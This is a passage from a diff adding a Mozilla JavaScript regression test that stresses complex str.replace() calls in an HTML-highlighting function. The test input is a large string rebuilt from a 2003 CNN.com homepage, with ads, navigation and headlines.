+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 June 2003
+ * SUMMARY: Testing complicated str.replace()
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=209067
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 209067;
+var summary = 'Testing complicated str.replace()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function formatHTML(h)
+{
+ // a replace function used in the succeeding lines -
+ function S(s)
+ {
+ return s.replace(/</g,'&lt;').replace(/>/g,'&gt;');
+ }
+
+ h+='\n';
+ h=h.replace(/&([^\s]+;)/g,'&lt;&amp;$1&gt;');
+ h=h.replace(new RegExp('<!-'+'-[\\s\\S]*-'+'->','g'), S);
+ h=h.replace(/"[^"]*"/g,S);
+ h=h.replace(/'[^']*'/g,S);
+
+
+ h=h.replace(/<([^>]*)>/g,
+ function(s,p)
+ {
+ if(s.match(/!doctype/i))
+ return'<span class=doctype>&lt;' + p + '&gt;</span>';
+
+ p=p.replace(/\\'/g,'\\&#39;').replace(/\\"/g,'\\&#34;').replace(/^\s/,'');
+p=p.replace(/(\s)([^<]+)$/g,
+ function(s,p1,p2)
+ {
+ p2=p2.replace(/(=)(\s*[^"'][^\s]*)(\s|$)/g,'$1<span class=attribute-value>$2</span>$3');
+ p2=p2.replace(/("[^"]*")/g,'<span class=attribute-value>$1</span>');
+ p2=p2.replace(/('[^']*')/g,'<span class=attribute-value>$1</span>');
+ return p1 + '<span class=attribute-name>'+p2+'</span>';
+ }
+ )
+
+ return'&lt;<span class=' + (s.match(/<\s*\//)?'end-tag':'start-tag') + '>' + p + '</span>&gt;';
+ }
+ )
+
+
+ h=h.replace(/&lt;(&[^\s]+;)&gt;/g,'<span class=entity>$1</span>');
+ h=h.replace(/(&lt;!--[\s\S]*--&gt;)/g,'<span class=comment>$1</span>');
+
+
+ numer=1;
+ h=h.replace(/(.*\n)/g,
+ function(s,p)
+ {
+ return (numer++) +'. ' + p;
+ }
+ )
+
+
+ return'<span class=text>' + h + '</span>';
+}
+
+
+
+/*
+ * sanity check
+ */
+status = inSection(1);
+actual = formatHTML('abc');
+expect = '<span class=text>1. abc\n</span>';
+addThis();
+
+
+/*
+ * The real test: can we run this without crashing?
+ * We are not validating the result, just running it.
+ */
+status = inSection(2);
+var HUGE_TEST_STRING = hugeString();
+formatHTML(HUGE_TEST_STRING);
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function hugeString()
+{
+var s = '';
+
+s += '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">';
+s += '<html lang="en">';
+s += '<head>';
+s += ' <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">';
+s += ' <meta http-equiv="refresh" content="1800">';
+s += ' <title>CNN.com</title>';
+s += ' <link rel="Start" href="/">';
+s += ' <link rel="Search" href="/search/">';
+s += ' <link rel="stylesheet" href="http://i.cnn.net/cnn/.element/ssi/css/1.0/main.css" type="text/css">';
+s += ' <script language="JavaScript1.2" src="http://i.cnn.net/cnn/.element/ssi/js/1.0/main.js" type="text/javascript"></script>';
+s += '<script language="JavaScript1.1" src="http://ar.atwola.com/file/adsWrapper.js"></script>';
+s += '<style type="text/css">';
+s += '<!--';
+s += '.aoltextad { text-align: justify; font-size: 12px; color: black; font-family: Georgia, sans-serif }';
+s += '-->';
+s += '</style>';
+s += '<script language="JavaScript1.1" type="text/javascript" src="http://ar.atwola.com/file/adsPopup2.js"></script>';
+s += '<script language="JavaScript">';
+s += 'document.adoffset = 0;';
+s += 'document.adPopupDomain = "www.cnn.com";';
+s += 'document.adPopupFile = "/cnn_adspaces/adsPopup2.html";';
+s += 'document.adPopupInterval = "P24";';
+s += 'document.adPopunderInterval = "P24";';
+s += 'adSetOther("&TVAR="+escape("class=us.low"));';
+s += '</script>';
+s += '';
+s += ' ';
+s += '</head>';
+s += '<body class="cnnMainPage">';
+s += '';
+s += '';
+s += '';
+s += '<a name="top_of_page"></a>';
+s += '<a href="#ContentArea"><img src="http://i.cnn.net/cnn/images/1.gif" alt="Click here to skip to main content." width="10" height="1" border="0" align="right"></a>';
+s += '<table width="770" border="0" cellpadding="0" cellspacing="0" style="speak: none">';
+s += ' <col width="229">';
+s += ' <col width="73">';
+s += ' <col width="468">';
+s += ' <tr>';
+s += ' <td colspan="3"><!--';
+s += '[[!~~ netscape hat ~~]][[table border="0" cellpadding="0" cellspacing="0" width="100%"]][[tr]][[td]][[script Language="Javascript" SRC="http://toolbar.aol.com/dashboard.twhat?dom=cnn" type="text/javascript"]][[/script]][[/td]][[/tr]][[/table]]';
+s += '';
+s += '[[div]][[img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2" border="0"]][[/div]]';
+s += '-->';
+s += ' </td>';
+s += ' </tr>';
+s += ' <tr valign="bottom">';
+s += ' <td width="229" style="speak: normal"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/logo/cnn.gif" alt="CNN.com" width="229" height="52" border="0"></td>';
+s += ' <td width="73"></td>';
+s += ' <td width="468" align="right">';
+s += ' <!-- home/bottom.468x60 -->';
+s += '<script language="JavaScript1.1">';
+s += '<!--';
+s += 'adSetTarget("_top");';
+s += 'htmlAdWH( (new Array(93103287,93103287,93103300,93103300))[document.adoffset||0] , 468, 60);';
+s += '//-->';
+ s += '</script>';
+ s += '<noscript><a href="http://ar.atwola.com/link/93103287/aol" target="_top"><img src="http://ar.atwola.com/image/93103287/aol" alt="Click Here" width="468" height="60" border="0"></a></noscript> ';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="3"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3">';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="3" bgcolor="#CC0000"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="3"></td></tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3">';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <form action="http://search.cnn.com/cnn/search" method="get" onsubmit="return CNN_validateSearchForm(this);">';
+ s += '<input type="hidden" name="source" value="cnn">';
+ s += '<input type="hidden" name="invocationType" value="search/top">';
+ s += ' <tr><td colspan="4"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" border="0"></td></tr>';
+ s += ' <tr><td colspan="4" bgcolor="#003366"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="3" border="0"></td></tr>';
+ s += ' <tr>';
+ s += ' <td rowspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.search.gif" alt="SEARCH" width="110" height="27" border="0"></td>';
+ s += ' <td colspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.top.bevel.gif" alt="" width="653" height="3" border="0"></td>';
+ s += ' <td rowspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.right.bevel.gif" alt="" width="7" height="27" border="0"></td>';
+ s += ' </tr>';
+ s += ' <tr bgcolor="#B6D8E0">';
+ s += ' <td><table border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td nowrap><span class="cnnFormTextB" style="color:#369">The Web</span></td>';
+ s += ' <td><input type="radio" name="sites" value="google" checked></td>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td><span class="cnnFormTextB" style="color:#369;">CNN.com</span></td>';
+ s += ' <td><input type="radio" name="sites" value="cnn"></td>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td><input type="text" name="query" class="cnnFormText" value="" title="Enter text to search for and click Search" size="35" maxlength="40" style="width: 280px"></td>';
+ s += ' <td>&nbsp;<input type="Submit" value="Search" class="cnnNavButton" style="padding: 0px; margin: 0px; width: 50px"></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' <td align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.google.gif" alt="enhanced by Google" width="137" height="24" border="0"></td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="4"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.bottom.bevel.gif" alt="" width="770" height="3" border="0"></td></tr>';
+ s += ' </form>';
+ s += '</table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '';
+ s += '';
+ s += '</table>';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <col width="126" align="left" valign="top">';
+ s += ' <col width="10">';
+ s += ' <col width="280">';
+ s += ' <col width="10">';
+ s += ' <col width="344">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="5" width="126" style="speak: none"><table id="cnnNavBar" width="126" bgcolor="#EEEEEE" border="0" cellpadding="0" cellspacing="0" summary="CNN.com Navigation">';
+ s += ' <col width="8" align="left" valign="top">';
+ s += ' <col width="118" align="left" valign="top">';
+ s += ' <tr bgcolor="#CCCCCC" class="cnnNavHiliteRow"><td width="8" class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavHilite" onClick="CNN_goTo("/")"><div class="cnnNavText"><a href="/">Home Page</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/WORLD/")"><div class="cnnNavText"><a href="/WORLD/">World</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/US/")"><div class="cnnNavText"><a href="/US/">U.S.</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/WEATHER/")"><div class="cnnNavText"><a href="/WEATHER/">Weather</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/money/")"><div class="cnnNavText"><a href="/money/">Business</a>&nbsp;<a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/nav_at_money.gif" alt="at CNN/Money" width="51" height="5" border="0"></a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/cnnsi/")"><div class="cnnNavText"><a href="/si/">Sports</a>&nbsp;<a href="/si/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/nav_at_si.gif" alt="at SI.com" width="50" height="5" border="0"></a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/ALLPOLITICS/")"><div class="cnnNavText"><a href="/ALLPOLITICS/">Politics</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/LAW/")"><div class="cnnNavText"><a href="/LAW/">Law</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TECH/")"><div class="cnnNavText"><a href="/TECH/">Technology</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TECH/space/")"><div class="cnnNavText"><a href="/TECH/space/">Science &amp; Space</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/HEALTH/")"><div class="cnnNavText"><a href="/HEALTH/">Health</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/SHOWBIZ/")"><div class="cnnNavText"><a href="/SHOWBIZ/">Entertainment</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TRAVEL/")"><div class="cnnNavText"><a href="/TRAVEL/">Travel</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/EDUCATION/")"><div class="cnnNavText"><a href="/EDUCATION/">Education</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/SPECIALS/")"><div class="cnnNavText"><a href="/SPECIALS/">Special Reports</a></div></td></tr>';
+ s += ' <tr bgcolor="#FFFFFF"><td class="cnnNavAd" colspan="2" align="center"><!-- home/left.120x90 -->';
+ s += '<script language="JavaScript1.1">';
+ s += '<!--';
+ s += 'adSetTarget("_top");';
+ s += 'htmlAdWH( (new Array(93166917,93166917,93170132,93170132))[document.adoffset||0] , 120, 90);';
+ s += '//-->';
+ s += '</script><noscript><a href="http://ar.atwola.com/link/93166917/aol" target="_top"><img src="http://ar.atwola.com/image/93166917/aol" alt="Click here for our advertiser" width="120" height="90" border="0"></a></noscript></td></tr>';
+ s += ' <tr bgcolor="#999999" class="cnnNavGroupRow">';
+ s += ' <td colspan="2" class="cnnNavGroup"><div class="cnnNavText">SERVICES</div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/video/")"><div class="cnnNavText"><a href="/video/">Video</a></div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/EMAIL/")"><div class="cnnNavText"><a href="/EMAIL/">E-Mail Services</a></div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/mobile/CNNtoGO/")"><div class="cnnNavText"><a href="/mobile/CNNtoGO/">CNN To Go</a></div></td></tr>';
+ s += ' <tr bgcolor="#999999" class="cnnNavGroupRow">';
+ s += ' <td colspan="2" class="cnnNavGroup" style="background-color: #445B60"><div class="cnnNavText" style="color: #fff">SEARCH</div></td></tr>';
+ s += ' <tr bgcolor="#CCCCCC"><td colspan="2" class="cnnNavSearch" style="background-color:#B6D8E0">';
+ s += '';
+ s += '<form action="http://search.cnn.com/cnn/search" method="get" name="nav_bottom_search" onSubmit="return CNN_validateSearchForm(this)" style="margin: 0px;">';
+ s += ' <input type="hidden" name="sites" value="cnn">';
+ s += ' <input type="hidden" name="source" value="cnn">';
+ s += ' <input type="hidden" name="invocationType" value="side/bottom">';
+ s += '<table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr><td colspan="2"><table width="100%" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td align="left"><span class="cnnFormTextB" style="color: #369">Web</span></td>';
+ s += ' <td><input type="radio" name="sites" value="google" checked></td>';
+ s += ' <td align="right"><span class="cnnFormTextB" style="color: #369">CNN.com</span></td>';
+ s += ' <td><input type="radio" name="sites" value="cnn"></td>';
+ s += ' </tr>';
+ s += ' </table></td></tr>';
+ s += ' <tr><td colspan="2"><input type="text" name="query" class="cnnFormText" value="" title="Enter text to search for and click Search" size="7" maxlength="40" style="width: 100%"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td><input type="submit" value="Search" class="cnnNavButton" style="padding: 0px; margin: 0px; width: 50px"></td>';
+ s += ' <td align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/nav.search.gif" alt="enhanced by Google" width="54" height="27"></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '</td></form></tr>';
+ s += '</table>';
+ s += '';
+ s += ' </td>';
+ s += ' <td rowspan="5" width="10"><a name="ContentArea"></a><img id="accessibilityPixel" src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="7" border="0"></td>';
+ s += ' <td colspan="3" valign="middle">';
+ s += ' <table border="0" cellpadding="0" cellspacing="0" width="100%">';
+ s += ' <tr>';
+ s += ' <td valign="top" nowrap><div class="cnnFinePrint" style="color: #333;padding:6px;padding-left:0px;">Updated: 05:53 p.m. EDT (2153 GMT) June 12, 2003</div></td>';
+ s += ' <td align="right" nowrap class="cnnt1link"><a href="http://edition.cnn.com/">Visit International Edition</a>&nbsp;</td>';
+ s += ' </tr><!--include virtual="/.element/ssi/sect/MAIN/1.0/banner.html"-->';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="2" width="280" bgcolor="#EAEFF4">';
+ s += '';
+ s += '<!-- T1 -->';
+ s += ' ';
+ s += ' <a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html"><img src="http://i.cnn.net/cnn/2003/SHOWBIZ/Movies/06/12/obit.peck/top.peck.obit.jpg" alt="Oscar-winner Peck dies" width="280" height="210" border="0" hspace="0" vspace="0"></a>';
+ s += '';
+ s += ' <div class="cnnMainT1">';
+ s += ' <h2 style="font-size:20px;"><a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html">Oscar-winner Peck dies</a></h2>';
+ s += '<p>';
+ s += 'Actor Gregory Peck, who won an Oscar for his portrayal of upstanding lawyer Atticus Finch in 1962s "To Kill a Mockingbird," has died at age 87. Peck was best known for roles of dignified statesmen and people who followed a strong code of ethics. But he also could play against type. All told, Peck was nominated for five Academy Awards.';
+ s += '</p>';
+ s += ' <p>';
+ s += ' <b><a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html" class="cnnt1link">FULL STORY</a></b>';
+ s += ' </p>';
+ s += '';
+ s += '';
+ s += '';
+ s += '&#8226; <span class="cnnBodyText" style="font-weight:bold;color:#333;">Video: </span><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/showbiz/2003/06/12/peck.obit.affl.","300k");">A leading mans leading man</a><br>';
+ s += '';
+ s += '';
+ s += '';
+ s += ' ';
+ s += '&#8226; <span class="cnnBodyText" style="font-weight:bold;color:#333">Interactive: </span> <a href="javascript:CNN_openPopup("/interactive/entertainment/0306/peck.obit/frameset.exclude.html","620x430","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=620,height=430")">Gregory Peck through the years</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226; <a href="http://www.cnn.com/2003/SHOWBIZ/Movies/06/12/peck.filmography/index.html" target="new">Gregory Peck filmography</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226; <a href="http://www.cnn.com/2003/SHOWBIZ/Movies/06/04/heroes.villains.ap/index.html" target="new">Pecks Finch chararcter AFIs top hero</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += ' </div>';
+ s += '';
+ s += '<!-- /T1 -->';
+ s += ' </td>';
+ s += ' ';
+ s += ' <td rowspan="2" width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td width="344">';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '<!-- T2 -->';
+ s += '';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="344" height="2"></div>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="285" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>MORE TOP STORIES</b></span></td>';
+ s += ' <td width="59" class="cnnTabbedBoxTab" align="right" bgcolor="#336699"><a href="/userpicks"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/userpicks.gif" alt=" Hot Stories " width="59" height="11" border="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<div style="padding:6px;padding-left:0px;">';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/meast/06/12/mideast/index.html">7 dead in new Gaza strike</a>';
+ s += '| <img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/world/2003/06/11/cb.bush.roadmap.ap.","300k");">Video</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/meast/06/12/sprj.irq.main/index.html">U.S. helicopter, jet down in Iraqi raid</a>';
+ s += '| <img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/iraq/2003/06/11/bw.iraq.oil.cnn.","300k");">Video</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/SHOWBIZ/TV/06/12/obit.brinkley/index.html">Television icon David Brinkley dead at 82</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/LAW/06/12/peterson.case/index.html">Peterson search warrants will be made public in July</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/asiapcf/east/06/12/okinawa.rape/index.html">U.S. Marine held in new Okinawa rape case</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/TECH/space/06/12/sprj.colu.bolts.ap/index.html">New threat discovered for shuttle launches</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/SHOWBIZ/TV/06/12/television.sopranos.reut/index.html">"Soprano" Gandolfini shares his wealth with castmates</a><br></div>';
+ s += '<!--[[div class="cnnMainNewT2"]]&#8226;&nbsp;[[b]][[span style="color:#C00;"]]CNN[[/span]]Radio:[[/b]]&nbsp;[[a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")"]]Bush on Medicare[[/a]]&nbsp;[[a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/live.video.gif" alt="" width="61" height="14" vspace="0" hspace="2" align="absmiddle" border="0"]][[/a]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/audio.gif" alt="" width="10" height="10" vspace="0" hspace="2" align="absmiddle"]][[br]][[/div]]--></div>';
+ s += '';
+ s += '<!-- /T2 -->';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += '<!--include virtual="/.element/ssi/misc/1.0/war.zone.smmap.txt"-->';
+ s += '<!-- =========== CNN Radio/Video Box =========== -->';
+ s += '<!-- top line --> ';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="344" height="1"></div>';
+ s += '<!-- /top line -->';
+ s += ' <table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += '<!-- left-side line --> ';
+ s += ' <td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="30" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /left-side line --> ';
+ s += '<!-- CNNRadio cell -->';
+ s += ' <td width="114"><div class="cnn6pxPad">';
+ s += ' <span class="cnnBigPrint" style="color:#C00;font-weight:bold;">CNN</span><span class="cnnBigPrint" style="color:#000;font-weight:bold;">RADIO</span>';
+ s += '<div class="cnnMainNewT2"><a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")">Listen to latest updates</a><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/audio.gif" alt="" width="10" height="10" vspace="0" hspace="2" align="absmiddle">';
+ s += '<div><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="1" height="5" hspace="0" vspace="0"></div>';
+ s += '<!--';
+ s += '[[span class="cnnFinePrint"]]sponsored by:[[/span]][[br]][[center]]';
+ s += '[[!~~#include virtual="/cnn_adspaces/home/war_in_iraq/sponsor.88x31.ad"~~]]';
+ s += ' [[/center]]';
+ s += '-->';
+ s += ' </div></td>';
+ s += '<!-- /CNNRadio cell --> ';
+ s += '<!-- center line --> ';
+ s += ' <td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /center line --> ';
+ s += '<!-- video cell --> ';
+ s += ' <td width="227"><div class="cnn6pxPad">';
+ s += '<!-- video box --> ';
+ s += '<table width="215" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td width="144"><span class="cnnBigPrint" style="font-weight:bold;">VIDEO</span></td>';
+ s += ' <td width="6"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="6" height="1" hspace="0" vspace="0"></td>';
+ s += ' <td width="65"><a href="/video/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/more.video.blue.gif" alt="MORE VIDEO" width="62" height="11" hspace="0" vspace="0" border="0"></a></td></tr>';
+ s += ' <tr>';
+ s += ' <td width="215" colspan="3"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="1" height="2" hspace="0" vspace="0"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnnBodyText">';
+ s += ' Soldier broke dozens of hearts over e-mail<br>';
+ s += ' <img src="http://i.a.cnn.net/cnn/images/icons/premium.gif" align="middle" alt="premium content" width="9" height="11" hspace="0" vspace="1" border="0">&nbsp;<a href="javascript:LaunchVideo("/offbeat/2003/06/12/ms.casanova.col.ap.","300k");" class="cnnVideoLink">PLAY VIDEO</a></div>';
+ s += ' </td>';
+ s += '<td width="3"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="3" height="1" hspace="0" vspace="0"></td> ';
+ s += ' <td width="65" align="right">';
+ s += ' <a href="javascript:LaunchVideo("/offbeat/2003/06/12/ms.casanova.col.ap.","300k");"><img src="http://i.cnn.net/cnn/video/offbeat/2003/06/12/ms.casanova.col.vs.kndu.jpg" alt="" width="65" height="49" border="0" vspace="2" hspace="0"></a>';
+ s += ' </td></tr>';
+ s += '</table>';
+ s += ' <!-- /video box --> ';
+ s += ' </div></td>';
+ s += '<!-- /video cell --> ';
+ s += '<!-- right-side line --> ';
+ s += '<td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" hspace="0" vspace="0" border="0"></td>';
